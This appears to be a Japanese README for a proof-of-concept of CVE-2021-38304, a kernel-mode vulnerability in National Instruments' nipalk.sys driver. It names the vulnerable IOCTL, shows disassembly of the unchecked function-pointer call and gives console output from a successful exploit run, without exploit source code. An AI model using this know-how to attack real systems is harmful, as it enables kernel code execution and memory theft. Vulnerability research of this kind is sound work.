
CVE-2021-38304 概念実証
このリポジトリには、National Instruments の旧バージョンの nipalk.sys ドライバにおける重大なセキュリティ脆弱性の概念実証が含まれています。この脆弱性により、カーネルモードで任意のコード実行とメモリ開示が可能になります。これはあくまでも個人研究専用を目的としています。
nipalk.sys ドライバは、特定の IOCTL リクエストの処理中にユーザー指定のポインタを適切に処理しません。この欠陥により、攻撃者はカーネルコンテキストで制御されたパラメータとともにドライバが呼び出す関数ポインタを供給することが可能になります。
RCX および RDX レジスタを制御できます。RtlCopyMemory などの関数を呼び出すことで、攻撃者は任意のカーネルメモリを読み取ることができます。この脆弱性は、ユーザーモードアプリケーションから提供されるポインタをドライバが検証しないことに起因します。IOCTL 0xABCD03C4 の処理中に、ドライバはユーザー制御の構造体から関数ポインタを取得し、適切なチェックなしにそれを呼び出します:
0045561e 48 8b 01 MOV RAX,qword ptr [param_1]
00455621 49 8b 52 18 MOV irp,qword ptr [R10 + 0x18]
00455625 ff 50 08 CALL qword ptr [RAX + 0x8]
[RAX + 8] の関数ポインタはカーネルコンテキストで実行されます。RCX および RDX はユーザーによって制御されます。[+] Starting exploit
[+] Memory allocated
[+] Values before IOCTL:
exploit->dummy: 00000000001b0000
exploit->function_pointer: fffff8017ea21300
[+] Device opened successfully
[+] Sending IOCTL
[+] Values after IOCTL:
exploit->dummy: 7208f88349c18b48
exploit->function_pointer: ffff7710f8834937
[+] DeviceIoControl succeeded. Bytes returned: 8
[+] Buffer Output: 1769472
[!] WARNING: exploit->dummy has changed!
[!] WARNING: exploit->function_pointer has changed!
[+] Exploit finished
この PoC は教育目的のみを意図しています。